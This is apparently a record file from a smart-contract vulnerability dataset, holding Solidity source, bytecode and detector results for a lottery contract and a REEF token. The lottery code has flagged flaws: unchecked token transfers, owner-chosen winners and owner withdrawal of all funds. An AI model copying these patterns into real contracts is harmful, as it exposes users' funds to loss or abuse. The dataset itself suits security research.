0xd9a2267c10abe89d47c3b74a1aa033bd2190ea30
|
pragma solidity ^0.5.2;
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event EtherTransfer(address toAddress, uint256 amount);
}
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b,"Invalid values");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0,"Invalid values");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a,"Invalid values");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a,"Invalid values");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0,"Invalid values");
return a % b;
}
}
contract MYLPowerball {
using SafeMath for uint256;
address private _owner; // Variable for Owner of the Contract.
uint256 private _ticketPrice; // Variable for price of each ticket (set as 0.01 eth)
uint256 private _purchaseTokenAmount; // variable for Amount of tokens per ticket purchase (set as 10 lotto)
// address private _buyerPoolAddress; // Variable for pool address for tokens for ticket purchase
IERC20 lottoCoin;
constructor (uint256 ticketPrice, uint256 purchaseTokenAmount, address owner, address _poolToken) public {
_ticketPrice = ticketPrice;
_purchaseTokenAmount = purchaseTokenAmount;
_owner = owner;
lottoCoin = IERC20(_poolToken);
}
/*----------------------------------------------------------------------------
* Functions for owner
*----------------------------------------------------------------------------
*/
/**
* @dev get address of smart contract owner
* @return address of owner
*/
function getowner() public view returns (address) {
return _owner;
}
/**
* @dev modifier to check if the message sender is owner
*/
modifier onlyOwner() {
require(isOwner(),"You are not authenticate to make this transfer");
_;
}
// modifier onlyairdropAddress(){
// require(_airdropETHAddress,"");
// _;
// }
/**
* @dev Internal function for modifier
*/
function isOwner() internal view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Transfer ownership of the smart contract. For owner only
* @return request status
*/
function transferOwnership(address newOwner) public onlyOwner returns (bool){
_owner = newOwner;
return true;
}
//Contract for managing business logic for this application
mapping (uint256 => address[]) private allAddressList; //list of all address participating in a saleId
mapping (uint256 => address[]) private winner; //winner address for a saleId
mapping (uint256 => uint256) private winningPowerBallNumber; //winning powerball number by saleId
mapping (uint256 => mapping (address => uint256[])) private ticketNumberByAddress; //user ticket number for a saleId
mapping (uint256 => mapping (uint256 => address[])) private addressesByTicketNumber; //list of addresses for ticketId
mapping (uint256 => mapping (address => uint256)) private totalSaleAmountByAddAndSaleID; //list of addresses for ticketId
mapping (uint256 => uint256) private totalSaleAmount; //total collection for a saleId
mapping (uint256 => uint256[]) private winningAmount; //winning price for a saleId
mapping (uint256 => uint256) private saleStartTimeStamp; //start timestamp for a saleId
mapping (uint256 => uint256) private saleEndTimeStamp; //end timestamp for a saleId
mapping (uint256 => uint256) private saleRunningStatus; //sale running status for a saleId
mapping (uint256 => uint256[]) private winningNumber; //winning lottery number for a saleId
mapping (uint256 => uint256) private saleParticipants; //total number sales per sale session
uint256 private elapsedTime; //variable to set time for powerball winning
uint256 private saleIdNow = 1; //saleIdNow for sale now
address[] private AllParticipantAddresses; //list of all participants participated in the sale
uint256 private totalSaleAmountForAllSales; //total amount including all sales
uint256 private totalDonation; //total donated amount
uint256[] public checkerEmpty;
// //Internal function for checking values for purchaseTicket
// function getNumber(uint256 _number) internal pure returns(uint256){
// return _number.div(6);
// }
/**
* @dev InitiateSmartContractValue
*/
function initiateSmartContractValue(uint256 _elapseTime) public onlyOwner returns(bool){
saleStartTimeStamp[saleIdNow] = now; //Initiate time
saleParticipants[saleIdNow] = 0; //Initiate sale participants
elapsedTime = _elapseTime; //Time for next sale
return true;
}
/**
* @dev perform purchase
* @param _ticketNumbers ticket number from the list in application
*/
function purchaseTicket(uint256 _ticketNumbers, uint256 ticketCount) external payable returns(bool){
if(_ticketNumbers == 0){
totalDonation = totalDonation + 1;
return true;
}
require(msg.value >= ticketCount.mul(_ticketPrice), "Insufficient eth value");
require(_ticketNumbers.div(10**(ticketCount.mul(12))) ==0 && _ticketNumbers.div(10**(ticketCount.mul(12).sub(2))) >0, "Invalid ticket value/count" );
uint256 saleId;
if((saleStartTimeStamp[saleIdNow] + elapsedTime) > now){
saleId = saleIdNow;
} else {
saleId = saleIdNow.add(1);
}
AllParticipantAddresses.push(msg.sender);
totalSaleAmount[saleId] = totalSaleAmount[saleId] + msg.value;
totalSaleAmountForAllSales = totalSaleAmountForAllSales + msg.value;
totalSaleAmountByAddAndSaleID[saleId][msg.sender] = totalSaleAmountByAddAndSaleID[saleId][msg.sender] + msg.value;
ticketNumberByAddress[saleId][msg.sender].push(_ticketNumbers);
if(ticketCount == 5){
lottoCoin.transfer(msg.sender,_purchaseTokenAmount);
allAddressList[saleId].push(msg.sender);
saleParticipants[saleId] = saleParticipants[saleId] + 1;
return true;
}
}
/**
* @dev declare winner for a sale session
*/
function declareWinner(uint256[] calldata _winningSequence, uint256 _powerballNumber, address payable[] calldata _winnerAddressArray, uint256[] calldata _winnerPositions, uint256[] calldata _winnerAmountInWei) external payable onlyOwner returns(bool){
require(_winnerAddressArray.length == _winnerAmountInWei.length || _winnerAmountInWei.length == _winnerPositions.length, "Invalid winner declaration data");
for(uint256 i=0;i<_winnerAddressArray.length;i++){
winner[saleIdNow].push(_winnerAddressArray[i]);
winningAmount[saleIdNow].push(_winnerAmountInWei[i]);
_winnerAddressArray[i].transfer(_winnerAmountInWei[i]);
}
for(uint256 j=0;j<_winningSequence.length;j++){
winningNumber[saleIdNow].push(_winningSequence[j]);
}
winningPowerBallNumber[saleIdNow] = _powerballNumber;
saleEndTimeStamp[saleIdNow] = now;
saleStartTimeStamp[saleIdNow+1] = now;
saleIdNow = saleIdNow +1;
}
/**
* @dev set elapsed time for powerball
*/
function setElapsedTime(uint256 time) public onlyOwner returns(bool){
require(time > 0,"Invalid time provided, Please try Again!!");
elapsedTime = time;
return true;
}
/**
* @dev get elapsed time for powerball
*/
function getElapsedTime() external view returns(uint256){
return elapsedTime;
}
/**
* @dev get winning powerball number
*/
function getWinningPowerballNumberBySaleId(uint256 _saleId) external view returns(uint256){
return winningPowerBallNumber[_saleId];
}
/**
* @dev get current saleId for this session
*/
function getSaleIdNow() external view returns(uint256){
return saleIdNow;
}
/**
* @dev withdraw all eth from the smart contract
*/
function withdrawETHFromContract(uint256 _savingsValue,address payable _savingsReceiver, uint256 _opexValue, address payable _opexReceiver) external onlyOwner returns(bool){
_savingsReceiver.transfer(_savingsValue);
_opexReceiver.transfer(_opexValue);
return true;
}
function withdrawTokenFromContract(address tokenAddress, uint256 amount, address receiver) external onlyOwner {
require(IERC20(tokenAddress).balanceOf(address(this))>= amount, "Insufficient amount to transfer");
IERC20(tokenAddress).transfer(receiver,amount);
}
/**
* @dev get end timeStamp by sale session
*/
function getEndTime(uint256 _saleId) external view returns(uint256){
return saleEndTimeStamp[_saleId] ;
}
/**
* @dev get start timeStamp by sale session
*/
function getStartTime(uint256 _saleId) external view returns(uint256){
return saleStartTimeStamp[_saleId+1];
}
/**
* @dev get winning number by sale ID
*/
function getWinningNumber(uint256 _saleId) external view returns(uint256[] memory){
return winningNumber[_saleId];
}
/**
* @dev get winning amount by sale ID
*/
function getWinningAmount(uint256 _saleId) external view returns(uint256[] memory){
return winningAmount[_saleId];
}
/**
* @dev get winning address by sale ID
*/
function getWinningAddress(uint256 _saleId) external view returns(address[] memory){
return winner[_saleId];
}
/**
* @dev get list of all addresses in the Sale
*/
function getAllSaleAddressesBySaleID(uint256 _saleId) external view returns(address[] memory){
return allAddressList[_saleId];
}
/**
* @dev get list of all addresses in the contract
*/
function getAllParticipantAddresses() external view returns(address[] memory){
return AllParticipantAddresses;
}
/**
* @dev get total sale amount for a sale session
*/
function getTotalSaleAmountBySaleID(uint256 _saleId) external view returns(uint256){
return totalSaleAmount[_saleId];
}
/**
* @dev get total sale amount for all sale session
*/
function getTotalSaleAmountForAllSale() external view returns(uint256){
return totalSaleAmountForAllSales;
}
/**
* @dev get total number of participants by saleId
*/
function getParticipantCountBySaleId(uint256 _saleId) external view returns(uint256){
return saleParticipants[_saleId];
}
/**
* @dev get price of one ticket
*/
function getPriceOfOneTicket() external view returns(uint256){
return _ticketPrice;
}
/**
* @dev set price of one ticket by owner only
* @param _newPrice New price of each token
*/
function setPriceOfOneTicket(uint256 _newPrice) external onlyOwner returns(bool){
_ticketPrice = _newPrice;
return true;
}
/**
* @dev get ticket number for the given address
* @param _saleId Sale id for the sale session
* @param _add New price of each token
*/
function getticketNumberByAddress(uint256 _saleId, address _add) external view returns(uint256[] memory){
return ticketNumberByAddress[_saleId][_add];
}
/**
* @dev get amount of token sent per ticket purchase
*/
function getpurchaseTokenAmount() external view returns(uint256){
return _purchaseTokenAmount;
}
/**
* @dev set amount of token sent per ticket purchase
*/
function setpurchaseTokenAmount(uint256 purchaseTokenAmount) external onlyOwner returns(bool){
_purchaseTokenAmount = purchaseTokenAmount;
return true;
}
/**
* @dev get total eth by user address and saleId
*/
function getTotalSaleAmountByAddAndSaleID(uint256 _saleId, address _userAddress) external view returns(uint256){
return totalSaleAmountByAddAndSaleID[_saleId][_userAddress];
}
}
|
0x6080604052600436106101b65760003560e01c806368811431116100ec578063bdbbb0cb1161008a578063f2fde38b11610064578063f2fde38b14610732578063f38c258314610765578063f7e1d9781461077a578063fe0174bd146107b3576101b6565b8063bdbbb0cb146106bb578063dc822cf2146106de578063e6924fe214610708576101b6565b80638e905c93116100c65780638e905c93146106285780639067b67714610652578063ad3d3b3d1461067c578063bc2be1be14610691576101b6565b806368811431146105bf57806368d6b000146105d457806374ecf4b5146105fe576101b6565b80631d3a94851161015957806332f420b91161013357806332f420b9146104fe5780633ba452f5146105475780634bfcbaf3146105715780636040b668146105aa576101b6565b80631d3a94851461030d57806324e02055146103875780632976a8c31461039c576101b6565b8063125d702011610195578063125d70201461025f578063131d4b11146102745780631351ba18146102b95780631c9566fb146102e3576101b6565b806226be32146101bb5780630b3dca05146101f95780630d778c8f14610223575b600080fd5b3480156101c757600080fd5b506101e5600480360360208110156101de57600080fd5b50356107e4565b604080519115158252519081900360200190f35b34801561020557600080fd5b506101e56004803603602081101561021c57600080fd5b5035610832565b34801561022f57600080fd5b5061024d6004803603602081101561024657600080fd5b5035610880565b60408051918252519081900360200190f35b34801561026b57600080fd5b5061024d610892565b34801561028057600080fd5b506102b76004803603606081101561029757600080fd5b506001600160a01b03813581169160208101359160409091013516610898565b005b3480156102c557600080fd5b5061024d600480360360208110156102dc57600080fd5b5035610a34565b3480156102ef57600080fd5b506101e56004803603602081101561030657600080fd5b5035610a46565b34801561031957600080fd5b506103376004803603602081101561033057600080fd5b5035610ab8565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561037357818101518382015260200161035b565b505050509050019250505060405180910390f35b34801561039357600080fd5b5061024d610b24565b6101e5600480360360a08110156103b257600080fd5b810190602081018135600160201b8111156103cc57600080fd5b8201836020820111156103de57600080fd5b803590602001918460208302840111600160201b831117156103ff57600080fd5b91939092823592604081019060200135600160201b81111561042057600080fd5b82018360208201111561043257600080fd5b803590602001918460208302840111600160201b8311171561045357600080fd5b919390929091602081019035600160201b81111561047057600080fd5b82018360208201111561048257600080fd5b803590602001918460208302840111600160201b831117156104a357600080fd5b919390929091602081019035600160201b8111156104c057600080fd5b8201836020820111156104d257600080fd5b803590602001918460208302840111600160201b831117156104f357600080fd5b509092509050610b2a565b34801561050a57600080fd5b506101e56004803603608081101561052157600080fd5b508035906001600160a01b03602082013581169160408101359160609091013516610d83565b34801561055357600080fd5b506101e56004803603602081101561056a57600080fd5b5035610e41565b34801561057d57600080fd5b5061024d6004803603604081101561059457600080fd5b50803590602001356001600160a01b0316610ece565b3480156105b657600080fd5b5061024d610ef8565b3480156105cb57600080fd5b50610337610efe565b3480156105e057600080fd5b5061024d600480360360208110156105f757600080fd5b5035610f60565b34801561060a57600080fd5b506103376004803603602081101561062157600080fd5b5035610f7e565b34801561063457600080fd5b506103376004803603602081101561064b57600080fd5b5035610fdf565b34801561065e57600080fd5b5061024d6004803603602081101561067557600080fd5b503561103f565b34801561068857600080fd5b5061024d611051565b34801561069d57600080fd5b5061024d600480360360208110156106b457600080fd5b5035611057565b6101e5600480360360408110156106d157600080fd5b508035906020013561106c565b3480156106ea57600080fd5b5061024d6004803603602081101561070157600080fd5b5035611351565b34801561071457600080fd5b506103376004803603602081101561072b57600080fd5b5035611363565b34801561073e57600080fd5b506101e56004803603602081101561075557600080fd5b50356001600160a01b03166113cd565b34801561077157600080fd5b5061024d611437565b34801561078657600080fd5b506103376004803603604081101561079d57600080fd5b50803590602001356001600160a01b031661143d565b3480156107bf57600080fd5b506107c86114b1565b604080516001600160a01b039092168252519081900360200190f35b60006107ee6114c0565b6108295760405162461bcd60e51b815260040180806020018281038252602e81526020018061162d602e913960400191505060405180910390fd5b50600190815590565b600061083c6114c0565b6108775760405162461bcd60e51b815260040180806020018281038252602e81526020018061162d602e913960400191505060405180910390fd5b50600255600190565b6000908152600a602052604090205490565b60115490565b6108a06114c0565b6108db5760405162461bcd60e51b815260040180806020018281038252602e81526020018061162d602e913960400191505060405180910390fd5b604080516370a0823160e01b8152306004820152905183916001600160a01b038616916370a0823191602480820192602092909190829003018186803b15801561092457600080fd5b505afa158015610938573d6000803e3d6000fd5b505050506040513d602081101561094e57600080fd5b505110156109a3576040805162461bcd60e51b815260206004820152601f60248201527f496e73756666696369656e7420616d6f756e7420746f207472616e7366657200604482015290519081900360640190fd5b826001600160a01b031663a9059cbb82846040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d6020811015610a2d57600080fd5b5050505050565b60009081526010602052604090205490565b6000610a506114c0565b610a8b5760405162461bcd60e51b815260040180806020018281038252602e81526020018061162d602e913960400191505060405180910390fd5b50601280546000908152600c60209081526040808320429055925482526010905290812055601155600190565b600081815260056020908152604091829020805483518184028101840190945280845260609392830182828015610b1857602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610afa575b50505050509050919050565b60015490565b6000610b346114c0565b610b6f5760405162461bcd60e51b815260040180806020018281038252602e81526020018061162d602e913960400191505060405180910390fd5b85821480610b7c57508184145b610bcd576040805162461bcd60e51b815260206004820152601f60248201527f496e76616c69642077696e6e6572206465636c61726174696f6e206461746100604482015290519081900360640190fd5b60005b86811015610cdb576012546000908152600560205260409020888883818110610bf557fe5b83546001810185556000948552602080862090910180546001600160a01b0319166001600160a01b03938302959095013592909216939093179055506012548252600b905260409020848483818110610c4a57fe5b83546001810185556000948552602094859020919094029290920135919092015550878782818110610c7857fe5b905060200201356001600160a01b03166001600160a01b03166108fc858584818110610ca057fe5b905060200201359081150290604051600060405180830381858888f19350505050158015610cd2573d6000803e3d6000fd5b50600101610bd0565b5060005b89811015610d2e576012546000908152600f602052604090208b8b83818110610d0457fe5b83546001808201865560009586526020958690209290950293909301359201919091555001610cdf565b506012805460009081526006602090815260408083209b909b5582548252600d81528a82204290819055835460019081018452600c9092529a9091209990995580549098019097555094979650505050505050565b6000610d8d6114c0565b610dc85760405162461bcd60e51b815260040180806020018281038252602e81526020018061162d602e913960400191505060405180910390fd5b6040516001600160a01b0385169086156108fc029087906000818181858888f19350505050158015610dfe573d6000803e3d6000fd5b506040516001600160a01b0383169084156108fc029085906000818181858888f19350505050158015610e35573d6000803e3d6000fd5b50600195945050505050565b6000610e4b6114c0565b610e865760405162461bcd60e51b815260040180806020018281038252602e81526020018061162d602e913960400191505060405180910390fd5b60008211610ec55760405162461bcd60e51b815260040180806020018281038252602981526020018061165b6029913960400191505060405180910390fd5b50601155600190565b60008281526009602090815260408083206001600160a01b03851684529091529020545b92915050565b60145490565b60606013805480602002602001604051908101604052809291908181526020018280548015610f5657602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610f38575b5050505050905090565b60168181548110610f6d57fe5b600091825260209091200154905081565b6000818152600f6020908152604091829020805483518184028101840190945280845260609392830182828015610b1857602002820191906000526020600020905b815481526020019060010190808311610fc05750505050509050919050565b6000818152600b6020908152604091829020805483518184028101840190945280845260609392830182828015610b185760200282019190600052602060002090815481526020019060010190808311610fc05750505050509050919050565b6000908152600d602052604090205490565b60125490565b6001016000908152600c602052604090205490565b6000826110855750601580546001908101909155610ef2565b60015461109990839063ffffffff6114d116565b3410156110e6576040805162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e74206574682076616c756560501b604482015290519081900360640190fd5b61110a6110fa83600c63ffffffff6114d116565b8490600a0a63ffffffff61153816565b15801561114b57506000611149611139600261112d86600c63ffffffff6114d116565b9063ffffffff61159316565b8590600a0a63ffffffff61153816565b115b61119c576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c6964207469636b65742076616c75652f636f756e74000000000000604482015290519081900360640190fd5b6011546012546000908152600c6020526040812054909142910111156111c557506012546111dc565b6012546111d990600163ffffffff6115e116565b90505b6013805460018181019092557f66de8ffda797e3de9c05e8fc57b3bf0ec28a930d40b0d285d93c06501cf6a0900180546001600160a01b031916339081179091556000838152600a60209081526040808320805434908101909155601480548201905560098352818420858552835281842080549091019055858352600782528083209383529281529181208054938401815581522001849055600583141561134a576003546002546040805163a9059cbb60e01b81523360048201526024810192909252516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156112d657600080fd5b505af11580156112ea573d6000803e3d6000fd5b505050506040513d602081101561130057600080fd5b505060008181526004602090815260408083208054600181810183559185528385200180546001600160a01b03191633179055938352601090915290208054820190559050610ef2565b5092915050565b60009081526006602052604090205490565b600081815260046020908152604091829020805483518184028101840190945280845260609392830182828015610b18576020028201919060005260206000209081546001600160a01b03168152600190910190602001808311610afa5750505050509050919050565b60006113d76114c0565b6114125760405162461bcd60e51b815260040180806020018281038252602e81526020018061162d602e913960400191505060405180910390fd5b50600080546001600160a01b0383166001600160a01b03199091161790556001919050565b60025490565b60008281526007602090815260408083206001600160a01b03851684528252918290208054835181840281018401909452808452606093928301828280156114a457602002820191906000526020600020905b815481526020019060010190808311611490575b5050505050905092915050565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b6000826114e057506000610ef2565b828202828482816114ed57fe5b0414611531576040805162461bcd60e51b815260206004820152600e60248201526d496e76616c69642076616c75657360901b604482015290519081900360640190fd5b9392505050565b600080821161157f576040805162461bcd60e51b815260206004820152600e60248201526d496e76616c69642076616c75657360901b604482015290519081900360640190fd5b600082848161158a57fe5b04949350505050565b6000828211156115db576040805162461bcd60e51b815260206004820152600e60248201526d496e76616c69642076616c75657360901b604482015290519081900360640190fd5b50900390565b600082820183811015611531576040805162461bcd60e51b815260206004820152600e60248201526d496e76616c69642076616c75657360901b604482015290519081900360640190fdfe596f7520617265206e6f742061757468656e74696361746520746f206d616b652074686973207472616e73666572496e76616c69642074696d652070726f76696465642c20506c656173652074727920416761696e2121a265627a7a72315820de2288e79957032d76f22db9d97fd8251a2ef95d5e50542004172d2713b9c3e664736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 3,390 |
0x2b425b4903bf0c442c3dec32e275f321d6eaf288
|
pragma solidity ^0.4.23;
/*
* Creator: REEF (Reef Token)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* REEF token smart contract.
*/
contract REEFToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 100000000 * (10**8);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function REEFToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Reef Token";
string constant public symbol = "REEF";
uint8 constant public decimals = 8;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5